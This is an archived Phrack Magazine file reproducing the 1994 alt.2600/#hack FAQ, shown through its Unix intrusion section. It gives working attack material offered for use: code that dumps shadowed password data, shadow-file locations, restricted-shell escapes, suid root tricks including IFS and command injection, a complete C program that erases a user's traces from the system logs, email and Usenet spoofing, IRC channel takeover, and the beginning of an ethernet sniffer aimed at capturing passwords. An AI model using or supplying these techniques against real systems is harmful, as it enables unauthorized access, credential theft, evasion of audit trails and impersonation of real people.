home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack47.tx5 < prev    next >
Encoding:
Text File  |  2003-06-11  |  37.9 KB  |  1,294 lines

  1.  
  2.                               ==Phrack Magazine==
  3.  
  4.                  Volume Six, Issue Forty-Seven, File 5 of 22
  5.  
  6.  
  7.  
  8. Editors Note: Welcome to special release of the alt.2600/#hack FAQ for
  9.               Phrack Magazine!
  10.  
  11.               The purpose of this FAQ is to give you a general
  12.               introduction to the topics covered on alt.2600 and
  13.               #hack.  No document will make you a hacker.
  14.  
  15.               If you have a question regarding any of the topics
  16.               covered in the FAQ, please direct it to alt.2600 or
  17.               #hack.  Please do not e-mail me with them, I'm getting
  18.               swamped.
  19.  
  20.               If your copy of the alt.2600/#hack FAQ does not end with
  21.               the letters EOT on a line by themselves, you do not have
  22.               the entire FAQ.
  23.  
  24.  
  25.                                     The
  26.  
  27.                 alt.2600/#Hack F.A.Q.
  28.  
  29.                      Special release for Phrack Magazine
  30.  
  31.                         A TNO Communication Production
  32.  
  33.                                     by
  34.  
  35.                                   Voyager
  36.                 will@gnu.ai.mit.edu
  37.  
  38.                 Sysop of
  39.                  Hacker's Haven
  40.                   (303)343-4053
  41.  
  42.                          With greets going out to:
  43.  
  44.         A-Flat, Al, Aleph1, Bluesman, Cavalier, C-Curve, DeadKat,
  45.         Disorder, Edison, Erik Bloodaxe, Hobbit, KCrow, Major,
  46.         Marauder, Novocain, Outsider, Presence, Rogue Agent, sbin,
  47.         Taran King, Theora, ThePublic, Tomes and TheSaint.
  48.  
  49.  
  50.                We work in the dark
  51.                We do what we can
  52.                We give what we have
  53.                Our doubt is our passion,
  54.                and our passion is our task
  55.                The rest is the madness of art.
  56.  
  57.                 -- Henry James
  58.  
  59.  
  60.  
  61. Section A: Computers
  62.  
  63.   01. How do I access the password file under Unix?
  64.   02. How do I crack Unix passwords?
  65.   03. What is password shadowing?
  66.   04. Where can I find the password file if it's shadowed?
  67.   05. What is NIS/yp?
  68.   06. What are those weird characters after the comma in my passwd file?
  69.   07. How do I access the password file under VMS?
  70.   08. How do I crack VMS passwords?
  71.   09. How do I break out of a restricted shell?
  72.   10. How do I gain root from a suid script or program?
  73.   11. How do I erase my presence from the system logs?
  74.   12. How do I send fakemail?
  75.   13. How do I fake posts to UseNet?
  76.   14. How do I hack ChanOp on IRC?
  77.   15. How do I modify the IRC client to hide my real username?
  78.   16. How to I change to directories with strange characters in them?
  79.   17. What is ethernet sniffing?
  80.   18. What is an Internet Outdial?
  81.   19. What are some Internet Outdials?
  82.   20. What is this system?
  83.   21. What are the default accounts for XXX ?
  84.   22. What port is XXX on?
  85.   23. What is a trojan/worm/virus/logic bomb?
  86.   24. How can I protect myself from viruses and such?
  87.   25. Where can I get more information about viruses?
  88.   26. What is Cryptoxxxxxxx?
  89.   27. What is PGP?
  90.   28. What is Tempest?
  91.   29. What is an anonymous remailer?
  92.   30. What are the addresses of some anonymous remailers?
  93.   31. How do I defeat copy protection?
  94.   32. What is 127.0.0.1?
  95.   33. How do I post to a moderated newsgroup?
  96.  
  97.  
  98. Section B: Telephony
  99.  
  100.   01. What is a Red Box?
  101.   02. How do I build a Red Box?
  102.   03. Where can I get a 6.5536Mhz crystal?
  103.   04. Which payphones will a Red Box work on?
  104.   05. How do I make local calls with a Red Box?
  105.   06. What is a Blue Box?
  106.   07. Do Blue Boxes still work?
  107.   08. What is a Black Box?
  108.   09. What do all the colored boxes do?
  109.   10. What is an ANAC number?
  110.   11. What is the ANAC number for my area?
  111.   12. What is a ringback number?
  112.   13. What is the ringback number for my area?
  113.   14. What is a loop?
  114.   15. What is a loop in my area?
  115.   16. What is a CNA number?
  116.   17. What is the telephone company CNA number for my area?
  117.   18. What are some numbers that always ring busy?
  118.   19. What are some numbers that temporarily disconnect phone service?
  119.   20. What is scanning?
  120.   21. Is scanning illegal?
  121.   22. Where can I purchase a lineman's handset?
  122.   23. What are the DTMF frequencies?
  123.   24. What are the frequencies of the telephone tones?
  124.   25. What are all of the * (LASS) codes?
  125.   26. What frequencies do cordless phones operate on?
  126.   27. What is Caller-ID?
  127.   28. What is a PBX?
  128.   29. What is a VMB?
  129.  
  130.  
  131. Section C: Resources
  132.  
  133.   01. What are some ftp sites of interest to hackers?
  134.   02. What are some fsp sites of interest to hackers?
  135.   03. What are some newsgroups of interest to hackers?
  136.   04. What are some telnet sites of interest to hackers?
  137.   05. What are some gopher sites of interest to hackers?
  138.   06. What are some World wide Web (WWW) sites of interest to hackers?
  139.   07. What are some IRC channels of interest to hackers?
  140.   08. What are some BBS's of interest to hackers?
  141.   09. What are some books of interest to hackers?
  142.   10. What are some videos of interest to hackers?
  143.   11. What are some mailing lists of interest to hackers?
  144.   12. What are some print magazines of interest to hackers?
  145.   13. What are some e-zines of interest to hackers?
  146.   14. What are some organizations of interest to hackers?
  147.   15. Where can I purchase a magnetic stripe encoder/decoder?
  148.   16. What are the rainbow books and how can I get them?
  149.  
  150.  
  151. Section D: 2600
  152.  
  153.   01. What is alt.2600?
  154.   02. What does "2600" mean?
  155.   03. Are there on-line versions of 2600 available?
  156.   04. I can't find 2600 at any bookstores.  What can I do?
  157.   05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
  158.  
  159.  
  160. Section E: Phrack Magazine
  161.  
  162.   01. What is Phrack Magazine?
  163.   02. How can I reach Phrack Magazine?
  164.   03. Who Publishes Phrack?
  165.   04. How often does Phrack go out?
  166.   05. How do I subscribe?
  167.   06. Why don't I get any response when I email Phrack?
  168.   07. Does Phrack cost money?
  169.   08. How can I submit articles?
  170.   09. What is Phrack's PGP key?
  171.   10. Where can I get back issues?
  172.  
  173.  
  174. Section F: Miscellaneous
  175.  
  176.   01. What does XXX stand for?
  177.   02. How do I determine if I have a valid credit card number?
  178.   03. What bank issued this credit card?
  179.   04. What are the ethics of hacking?
  180.   05. Where can I get a copy of the alt.2600/#hack FAQ?
  181.  
  182.  
  183. Section A: Computers
  184. ~~~~~~~~~~~~~~~~~~~~
  185.  
  186. 01. How do I access the password file under Unix?
  187.  
  188. In standard Unix the password file is /etc/passwd.  On a Unix system
  189. with either NIS/yp or password shadowing, much of the password data
  190. may be elsewhere.
  191.  
  192.  
  193. 02. How do I crack Unix passwords?
  194.  
  195. Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
  196. passwords are encrypted with a one way function.  The login program
  197. encrypts the text you enter at the "password:" prompt and compares
  198. that encrypted string against the encrypted form of your password.
  199.  
  200. Password cracking software uses wordlists.  Each word in the wordlist
  201. is encrypted and the results are compared to the encrypted form of the
  202. target password.
  203.  
  204. The best cracking program for Unix passwords is currently Crack by
  205. Alec Muffett.  For PC-DOS, the best package to use is currently
  206. CrackerJack.
  207.  
  208.  
  209. 03. What is password shadowing?
  210.  
  211. Password shadowing is a security system where the encrypted password
  212. field of /etc/passwd is replaced with a special token and the
  213. encrypted password is stored in a separate file which is not readable
  214. by normal system users.
  215.  
  216. To defeat password shadowing on many (but not all) systems, write a
  217. program that uses successive calls to getpwent() to obtain the
  218. password file.
  219.  
  220. Example:
  221.  
  222. #include <pwd.h>
  223. main()
  224. {
  225. struct passwd *p;
  226. while(p=getpwent())
  227. printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
  228. p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
  229. }
  230.  
  231.  
  232. 04. Where can I find the password file if it's shadowed?
  233.  
  234. Unix                  Path                            Token
  235. -----------------------------------------------------------------
  236. AIX 3                 /etc/security/passwd            !
  237.        or             /tcb/auth/files/<first letter   #
  238.                             of username>/<username>
  239. A/UX 3.0s             /tcb/files/auth/?/*
  240. BSD4.3-Reno           /etc/master.passwd              *
  241. ConvexOS 10           /etc/shadpw                     *
  242. ConvexOS 11           /etc/shadow                     *
  243. DG/UX                 /etc/tcb/aa/user/               *
  244. EP/IX                 /etc/shadow                     x
  245. HP-UX                 /.secure/etc/passwd             *
  246. IRIX 5                /etc/shadow                     x
  247. Linux 1.1             /etc/shadow                     *
  248. OSF/1                 /etc/passwd[.dir|.pag]          *
  249. SCO Unix #.2.x        /tcb/auth/files/<first letter   *
  250.                             of username>/<username>
  251. SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
  252. SunOS 5.0             /etc/shadow
  253.                       <optional NIS+ private secure maps/tables/whatever>
  254. System V Release 4.0  /etc/shadow                     x
  255. System V Release 4.2  /etc/security/* database
  256. Ultrix 4              /etc/auth[.dir|.pag]            *
  257. UNICOS                /etc/udb                        *
  258.  
  259.  
  260. 05. What is NIS/yp?
  261.  
  262. NIS (Network Information System) in the current name for what was once
  263. known as yp (Yellow Pages).  The purpose for NIS is to allow many
  264. machines on a network to share configuration information, including
  265. password data.  NIS is not designed to promote system security.  If
  266. your system uses NIS you will have a very short /etc/passwd file that
  267. includes a line that looks like this:
  268.  
  269. +::0:0:::
  270.  
  271. To view the real password file use this command "ypcat passwd"
  272.  
  273.  
  274. 06. What are those weird characters after the comma in my passwd file?
  275.  
  276. The characters are password aging data.  Password aging forces the
  277. user to change passwords after a System Administrator specified period
  278. of time.  Password aging can also force a user to keep a password for
  279. a certain number of weeks before changing it.
  280.  
  281. ]
  282. ] Sample entry from /etc/passwd with password aging installed:
  283. ]
  284. ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
  285. ]
  286.  
  287. Note the comma in the encrypted password field.  The characters after
  288. the comma are used by the password aging mechanism.
  289.  
  290. ]
  291. ] Password aging characters from above example:
  292. ]
  293. ] M.z8
  294. ]
  295.  
  296. The four characters are interpreted as follows:
  297.  
  298.   1: Maximum number of weeks a password can be used without changing.
  299.   2: Minimum number of weeks a password must be used before changing.
  300. 3&4: Last time password was changed, in number of weeks since 1970.
  301.  
  302. Three special cases should be noted:
  303.  
  304. If the first and second characters are set to '..' the user will be
  305. forced to change his/her passwd the next time he/she logs in.  The
  306. passwd program will then remove the passwd aging characters, and the
  307. user will not be subjected to password aging requirements again.
  308.  
  309. If the third and fourth characters are set to '..' the user will be
  310. forced to change his/her passwd the next time he/she logs in. Password
  311. aging will then occur as defined by the first and second characters.
  312.  
  313. If the first character (MAX) is less than the second character (MIN),
  314. the user is not allowed to change his/her password.  Only root can
  315. change that users password.
  316.  
  317. It should also be noted that the su command does not check the password
  318. aging data.  An account with an expired password can be su'd to
  319. without being forced to change the password.
  320.  
  321.  
  322.                         Password Aging Codes
  323. +------------------------------------------------------------------------+
  324. |                                                                        |
  325. | Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
  326. |    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
  327. |                                                                        |
  328. | Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
  329. |    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
  330. |                                                                        |
  331. | Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
  332. |    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
  333. |                                                                        |
  334. | Character:  w  x  y  z                                                 |
  335. |    Number: 60 61 62 63                                                 |
  336. |                                                                        |
  337. +------------------------------------------------------------------------+
  338.  
  339.  
  340. 07. How do I access the password file under VMS?
  341.  
  342. Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
  343. unlike Unix, most users do not have access to read the password file.
  344.  
  345.  
  346. 08. How do I crack VMS passwords?
  347.  
  348. Write a program that uses the SYS$GETUAF functions to compare the
  349. results of encrypted words against the encrypted data in SYSUAF.DAT.
  350.  
  351. Two such programs are known to exist, CHECK_PASSWORD and
  352. GUESS_PASSWORD.
  353.  
  354.  
  355. 09. How do I break out of a restricted shell?
  356.  
  357. On poorly implemented restricted shells you can break out of the
  358. restricted environment by running a program that features a shell
  359. function.  A good example is vi.  Run vi and use this command:
  360.  
  361. :set shell=/bin/sh
  362.  
  363. then shell using this command:
  364.  
  365. :shell
  366.  
  367.  
  368. 10. How do I gain root from a suid script or program?
  369.  
  370. 1. Change IFS.
  371.  
  372. If the program calls any other programs using the system() function
  373. call, you may be able to fool it by changing IFS.  IFS is the Internal
  374. Field Separator that the shell uses to delimit arguments.
  375.  
  376. If the program contains a line that looks like this:
  377.  
  378. system("/bin/date")
  379.  
  380. and you change IFS to '/' the shell will them interpret the
  381. proceeding line as:
  382.  
  383. bin date
  384.  
  385. Now, if you have a program of your own in the path called "bin" the
  386. suid program will run your program instead of /bin/date.
  387.  
  388. To change IFS, use this command:
  389.  
  390. IFS='/';export IFS      # Bourne Shell
  391. setenv IFS '/'          # C Shell
  392. export IFS='/'          # Korn Shell
  393.  
  394.  
  395. 2. link the script to -i
  396.  
  397. Create a symbolic link named "-i" to the program.  Running "-i"
  398. will cause the interpreter shell (/bin/sh) to start up in interactive
  399. mode.  This only works on suid shell scripts.
  400.  
  401. Example:
  402.  
  403. % ln suid.sh -i
  404. % -i
  405. #
  406.  
  407.  
  408. 3. Exploit a race condition
  409.  
  410. Replace a symbolic link to the program with another program while the
  411. kernel is loading /bin/sh.
  412.  
  413. Example:
  414.  
  415. nice -19 suidprog ; ln -s evilprog suidroot
  416.  
  417.  
  418. 4. Send bad input to the program.
  419.  
  420. Invoke the name of the program and a separate command on the same
  421. command line.
  422.  
  423. Example:
  424.  
  425. suidprog ; id
  426.  
  427.  
  428. 11. How do I erase my presence from the system logs?
  429.  
  430. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
  431. files that can be edited by hand with vi, you must use a program
  432. specifically written for this purpose.
  433.  
  434. Example:
  435.  
  436. #include <sys/types.h>
  437. #include <stdio.h>
  438. #include <unistd.h>
  439. #include <sys/file.h>
  440. #include <fcntl.h>
  441. #include <utmp.h>
  442. #include <pwd.h>
  443. #include <lastlog.h>
  444. #define WTMP_NAME "/usr/adm/wtmp"
  445. #define UTMP_NAME "/etc/utmp"
  446. #define LASTLOG_NAME "/usr/adm/lastlog"
  447.  
  448. int f;
  449.  
  450. void kill_utmp(who)
  451. char *who;
  452. {
  453.     struct utmp utmp_ent;
  454.  
  455.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  456.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  457.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  458.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  459.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  460.                  write (f, &utmp_ent, sizeof (utmp_ent));
  461.             }
  462.      close(f);
  463.   }
  464. }
  465.  
  466. void kill_wtmp(who)
  467. char *who;
  468. {
  469.     struct utmp utmp_ent;
  470.     long pos;
  471.  
  472.     pos = 1L;
  473.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  474.  
  475.      while(pos != -1L) {
  476.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  477.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  478.           pos = -1L;
  479.         } else {
  480.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  481.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  482.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  483.                write (f, &utmp_ent, sizeof (utmp_ent));
  484.                pos = -1L;
  485.           } else pos += 1L;
  486.         }
  487.      }
  488.      close(f);
  489.   }
  490. }
  491.  
  492. void kill_lastlog(who)
  493. char *who;
  494. {
  495.     struct passwd *pwd;
  496.     struct lastlog newll;
  497.  
  498.      if ((pwd=getpwnam(who))!=NULL) {
  499.  
  500.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  501.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  502.             bzero((char *)&newll,sizeof( newll ));
  503.             write(f, (char *)&newll, sizeof( newll ));
  504.             close(f);
  505.         }
  506.  
  507.     } else printf("%s: ?\n",who);
  508. }
  509.  
  510. main(argc,argv)
  511. int argc;
  512. char *argv[];
  513. {
  514.     if (argc==2) {
  515.         kill_lastlog(argv[1]);
  516.         kill_wtmp(argv[1]);
  517.         kill_utmp(argv[1]);
  518.         printf("Zap2!\n");
  519.     } else
  520.     printf("Error.\n");
  521. }
  522.  
  523.  
  524. 12. How do I send fakemail?
  525.  
  526. Telnet to port 25 of the machine you want the mail to appear to
  527. originate from.  Enter your message as in this example:
  528.  
  529.  HELO bellcore.com
  530.  MAIL FROM:Voyager@bellcore.com
  531.  RCPT TO:president@whitehouse.gov
  532.  DATA
  533.  
  534.     Please discontinue your silly Clipper initiative.
  535.  .
  536.  QUIT
  537.  
  538. On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
  539. line will not work.  Test by sending yourself fakemail first.
  540.  
  541. For more information read RFC 822 "Standard for the format of ARPA
  542. Internet text messages."
  543.  
  544.  
  545. 13. How do I fake posts to UseNet?
  546.  
  547. Use inews to post.  Give inews the following lines:
  548.  
  549.  From:
  550.  Newsgroups:
  551.  Subject:
  552.  Message-ID:
  553.  Date:
  554.  Organization:
  555.  
  556. For a moderated newsgroup, inews will also require this line:
  557.  
  558.  Approved:
  559.  
  560. Then add your post and terminate with <Control-D>.
  561.  
  562. Example:
  563.  
  564.  From: Eric S. Real
  565.  Newsgroups: alt.hackers
  566.  Subject: Pathetic bunch of wannabe losers
  567.  Message-ID: <esr.123@locke.ccil.org>
  568.  Date: Fri, 13 Aug 1994 12:15:03
  569.  Organization: Moral Majority
  570.  
  571.  A pathetic bunch of wannabe losers is what most of you are, with no
  572.  right to steal the honorable title of `hacker' to puff up your silly
  573.  adolescent egos. Get stuffed, get lost, and go to jail.
  574.  
  575.                                         Eric S. Real <esr@locke.ccil.org>
  576.  
  577.  
  578.  ^D
  579.  
  580. Note that many systems will append an Originator: line to your message
  581. header, effectively revealing the account from which the message was
  582. posted.
  583.  
  584.  
  585. 14. How do I hack ChanOp on IRC?
  586.  
  587. Find a server that is split from the rest of IRC and create your own
  588. channel there using the name of the channel you want ChanOp on.  When
  589. that server reconnects to the net, you will have ChanOp on the real
  590. channel.  If you have ServerOp on a server, you can cause it to split
  591. on purpose.
  592.  
  593.  
  594. 15. How do I modify the IRC client to hide my real username?
  595.  
  596. Get the IRC client from cs.bu.edu /irc/clients.  Look at the source
  597. code files irc.c and ctcp.c.  The code you are looking for is fairly
  598. easy to spot.  Change it. Change the username code in irc.c and the
  599. ctcp information code in ctcp.c.  Compile and run your client.
  600.  
  601. Here are the diffs from a sample hack of the IRC client.  Your client
  602. code will vary slightly depending on what IRC client version you are
  603. running.
  604.  
  605. *** ctcp.c.old  Wed Feb 10 10:08:05 1993
  606. --- ctcp.c      Fri Feb 12 04:33:55 1993
  607. ***************
  608. *** 331,337 ****
  609.     struct  passwd  *pwd;
  610.     long    diff;
  611.     int     uid;
  612. !       char    c;
  613.   
  614.     /*
  615.      * sojge complained that ircII says 'idle 1 seconds'
  616. --- 331,337 ----
  617.     struct  passwd  *pwd;
  618.     long    diff;
  619.     int     uid;
  620. !       char    c, *fing;
  621.   
  622.     /*
  623.      * sojge complained that ircII says 'idle 1 seconds'
  624. ***************
  625. *** 348,354 ****
  626.     if (uid != DAEMON_UID)
  627.     {
  628.   #endif /* DAEMON_UID */       
  629. !               if (pwd = getpwuid(uid))
  630.         {
  631.             char    *tmp;
  632.   
  633. --- 348,356 ----
  634.     if (uid != DAEMON_UID)
  635.     {
  636.   #endif /* DAEMON_UID */       
  637. !               if (fing = getenv("IRCFINGER"))
  638. !                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
  639. !               else if (pwd = getpwuid(uid))
  640.         {
  641.             char    *tmp;
  642.   
  643. *** irc.c.old   Wed Feb 10 06:33:11 1993
  644. --- irc.c       Fri Feb 12 04:02:11 1993
  645. ***************
  646. *** 510,516 ****
  647.         malloc_strcpy(&my_path, "/");
  648.     if (*realname == null(char))
  649.         strmcpy(realname, "*Unknown*", REALNAME_LEN);
  650. !       if (*username == null(char))
  651.     {
  652.         if (ptr = getenv("USER"))
  653.             strmcpy(username, ptr, NAME_LEN);
  654. --- 510,518 ----
  655.         malloc_strcpy(&my_path, "/");
  656.     if (*realname == null(char))
  657.         strmcpy(realname, "*Unknown*", REALNAME_LEN);
  658. !       if (ptr = getenv("IRCUSER"))
  659. !               strmcpy(username, ptr, NAME_LEN);
  660. !       else if (*username == null(char))
  661.     {
  662.         if (ptr = getenv("USER"))
  663.             strmcpy(username, ptr, NAME_LEN);
  664.  
  665.  
  666. 16. How to I change to directories with strange characters in them?
  667.  
  668. These directories are often used by people trying to hide information,
  669. most often warez (commercial software).
  670.  
  671. There are several things you can do to determine what these strange
  672. characters are.  One is to use the arguments to the ls command that
  673. cause ls to give you more information:
  674.  
  675. From the man page for ls:
  676.  
  677.     -F   Causes directories to be marked with a trailing ``/'',
  678.      executable files to be marked with a trailing ``*'', and
  679.      symbolic links to be marked with a trailing ``@'' symbol.
  680.  
  681.     -q   Forces printing of non-graphic characters in filenames as the
  682.      character ``?''.
  683.  
  684.     -b   Forces printing of non-graphic characters in the \ddd
  685.      notation, in octal.
  686.  
  687. Perhaps the most useful tool is to simply do an "ls -al filename" to
  688. save the directory of the remote ftp site as a file on your local
  689. machine.  Then you can do a "cat -t -v -e filename" to see exactly
  690. what those bizarre little characters are.
  691.  
  692. From the man page for cat:
  693.  
  694.     -v  Causes non-printing characters (with the exception of tabs,
  695.     newlines, and form feeds) to be displayed.  Control characters
  696.     are displayed as ^X (<Ctrl>x), where X is the key pressed with
  697.     the <Ctrl> key (for example, <Ctrl>m is displayed as ^M).  The
  698.     <Del> character (octal 0177) is printed as ^?.  Non-ASCII
  699.     characters (with the high bit set) are printed as M -x, where
  700.     x is the character specified by the seven low order bits.
  701.  
  702.     -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
  703.     option is ignored if the -v option is not specified.
  704.  
  705.     -e  Causes a ``$'' character to be printed at the end of each line
  706.     (prior to the new-line).  This option is ignored if the -v
  707.     option is not set.
  708.  
  709. If the directory name includes a <SPACE> or a <TAB> you will need to
  710. enclose the entire directory name in quotes.  Example:
  711.  
  712. cd "..<TAB>"
  713.  
  714. On an IBM-PC, you may enter these special characters by holding down
  715. the <ALT> key and entering the decimal value of the special character
  716. on your numeric keypad.  When you release the <ALT> key, the special
  717. character should appear on your screen.  An ASCII chart can be very
  718. helpful.
  719.  
  720. Sometimes people will create directories with some of the standard
  721. stty control characters in them, such as ^Z (suspend) or ^C (intr).
  722. To get into those directories, you will first need to user stty to
  723. change the control character in qustion to another character.
  724.  
  725. From the man page for stty:
  726.  
  727.     Control assignments
  728.  
  729.     control-character C
  730.                       Sets control-character to C, where control-character is
  731.                       erase, kill, intr (interrupt), quit, eof, eol, swtch
  732.                       (switch), start, stop or susp.
  733.  
  734.                       start and stop are available as possible control char-
  735.                       acters for the control-character C assignment.
  736.  
  737.                       If C is preceded by a caret (^) (escaped from the
  738.                       shell), then the value used is the corresponding con-
  739.                       trol character (for example, ^D is a <Ctrl>d; ^? is
  740.                       interpreted as DELETE and ^- is interpreted as unde-
  741.                       fined).
  742.  
  743. Use the stty -a command to see your current stty settings, and to
  744. determine which one is causing you problems.
  745.  
  746.  
  747. 17. What is ethernet sniffing?
  748.  
  749. Ethernet sniffing is listening (with software) to the raw ethernet
  750. device for packets that interest you.  When your software sees a
  751. packet that fits certain criteria, it logs it to a file.  The most
  752. common criteria for an interesting packet is one that contains words
  753. like "login" or "password."
  754.  
  755. Many ethernet sniffers are available, here are a few that may be on
  756. your system now:
  757.  
  758. OS              Sniffer
  759. ~~              ~~~~~~~
  760. HP/UX           nettl (monitor) & netfmt (display)
  761.                 nfswatch        /* Available via anonymous ftp           */
  762. Irix            nfswatch        /* Available via anonymous ftp           */
  763.                 Etherman
  764. SunOS           etherfind
  765.                 nfswatch        /* Available via anonymous ftp           */
  766. Solaris         snoop
  767. DOS             ETHLOAD         /* Available via anonymous ftp as        */
  768.                                 /* ethld104.zip                          */
  769.                 The Gobbler     /* Available via anonymous ftp           */
  770.                 LanPatrol
  771.                 LanWatch
  772.         Netmon
  773.                 Netwatch
  774.                 Netzhack        /* Available via anonymous ftp at        */
  775.                                 /* mistress.informatik.unibw-muenchen.de */
  776.                                 /* /pub/netzhack.mac                     */
  777. Macintosh       Etherpeek
  778.  
  779. Here is source code for an ethernet sniffer:
  780.  
  781. /* Esniff.c */
  782.  
  783. #include <stdio.h>
  784. #include <ctype.h>
  785. #include <string.h>
  786.  
  787. #include <sys/time.h>
  788. #include <sys/file.h>
  789. #include <sys/stropts.h>
  790. #include <sys/signal.h>
  791. #include <sys/types.h>
  792. #include <sys/socket.h>
  793. #include <sys/ioctl.h>
  794.  
  795. #include <net/if.h>
  796. #include <net/nit_if.h>
  797. #include <net/nit_buf.h>
  798. #include <net/if_arp.h>
  799.  
  800. #include <netinet/in.h>
  801. #include <netinet/if_ether.h>
  802. #include <netinet/in_systm.h>
  803. #include <netinet/ip.h>
  804. #include <netinet/udp.h>
  805. #include <netinet/ip_var.h>
  806. #include <netinet/udp_var.h>
  807. #include <netinet/in_systm.h>
  808. #include <netinet/tcp.h>
  809. #include <netinet/ip_icmp.h>
  810.  
  811. #include <netdb.h>
  812. #include <arpa/inet.h>
  813.  
  814. #define ERR stderr
  815.  
  816. char    *malloc();
  817. char    *device,
  818.         *ProgName,
  819.         *LogName;
  820. FILE    *LOG;
  821. int     debug=0;
  822.  
  823. #define NIT_DEV     "/dev/nit"
  824. #define CHUNKSIZE   4096        /* device buffer size */
  825. int     if_fd = -1;
  826. int     Packet[CHUNKSIZE+32];
  827.  
  828. void Pexit(err,msg)
  829. int err; char *msg;
  830. { perror(msg);
  831.   exit(err); }
  832.  
  833. void Zexit(err,msg)
  834. int err; char *msg;
  835. { fprintf(ERR,msg);
  836.   exit(err); }
  837.  
  838. #define IP          ((struct ip *)Packet)
  839. #define IP_OFFSET   (0x1FFF)
  840. #define SZETH       (sizeof(struct ether_header))
  841. #define IPLEN       (ntohs(ip->ip_len))
  842. #define IPHLEN      (ip->ip_hl)
  843. #define TCPOFF      (tcph->th_off)
  844. #define IPS         (ip->ip_src)
  845. #define IPD         (ip->ip_dst)
  846. #define TCPS        (tcph->th_sport)
  847. #define TCPD        (tcph->th_dport)
  848. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  849.  
  850. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  851.  
  852. #define MAXBUFLEN  (128)
  853. time_t  LastTIME = 0;
  854.  
  855. struct CREC {
  856.      struct CREC *Next,
  857.                  *Last;
  858.      time_t  Time;              /* start time */
  859.      struct in_addr SRCip,
  860.                     DSTip;
  861.      u_int   SRCport,           /* src/dst ports */
  862.              DSTport;
  863.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  864.      u_int   Length;            /* current data length */
  865.      u_int   PKcnt;             /* # pkts */
  866.      u_long  LASTseq;
  867. };
  868.  
  869. struct CREC *CLroot = NULL;
  870.  
  871. char *Symaddr(ip)
  872. register struct in_addr ip;
  873. { register struct hostent *he =
  874.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  875.  
  876.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  877. }
  878.  
  879. char *TCPflags(flgs)
  880. register u_char flgs;
  881. { static char iobuf[8];
  882. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  883.  
  884.   SFL(0,TH_FIN, 'F');
  885.   SFL(1,TH_SYN, 'S');
  886.   SFL(2,TH_RST, 'R');
  887.   SFL(3,TH_PUSH,'P');
  888.   SFL(4,TH_ACK, 'A');
  889.   SFL(5,TH_URG, 'U');
  890.   iobuf[6]=0;
  891.   return(iobuf);
  892. }
  893.  
  894. char *SERVp(port)
  895. register u_int port;
  896. { static char buf[10];
  897.   register char *p;
  898.  
  899.    switch(port) {
  900.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  901.      case IPPORT_TELNET:      p="telnet"; break;
  902.      case IPPORT_SMTP:        p="smtp"; break;
  903.      case IPPORT_FTP:         p="ftp"; break;
  904.      default: sprintf(buf,"%u",port); p=buf; break;
  905.    }
  906.    return(p);
  907. }
  908.  
  909. char *Ptm(t)
  910. register time_t *t;
  911. { register char *p = ctime(t);
  912.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  913.   return(p);
  914. }
  915.  
  916. char *NOWtm()
  917. { time_t tm;
  918.   time(&tm);
  919.   return( Ptm(&tm) );
  920. }
  921.  
  922. #define MAX(a,b) (((a)>(b))?(a):(b))
  923. #define MIN(a,b) (((a)<(b))?(a):(b))
  924.  
  925. /* add an item */
  926. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  927.   register struct CREC *CLtmp = \
  928.         (struct CREC *)malloc(sizeof(struct CREC)); \
  929.   time( &(CLtmp->Time) ); \
  930.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  931.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  932.   CLtmp->SRCport = SPORT; \
  933.   CLtmp->DSTport = DPORT; \
  934.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  935.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  936.   CLtmp->PKcnt = 1; \
  937.   CLtmp->Next = CLroot; \
  938.   CLtmp->Last = NULL; \
  939.   CLroot = CLtmp; \
  940. }
  941.  
  942. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  943. register struct in_addr Sip,Dip;
  944. register u_int SP,DP;
  945. { register struct CREC *CLr = CLroot;
  946.  
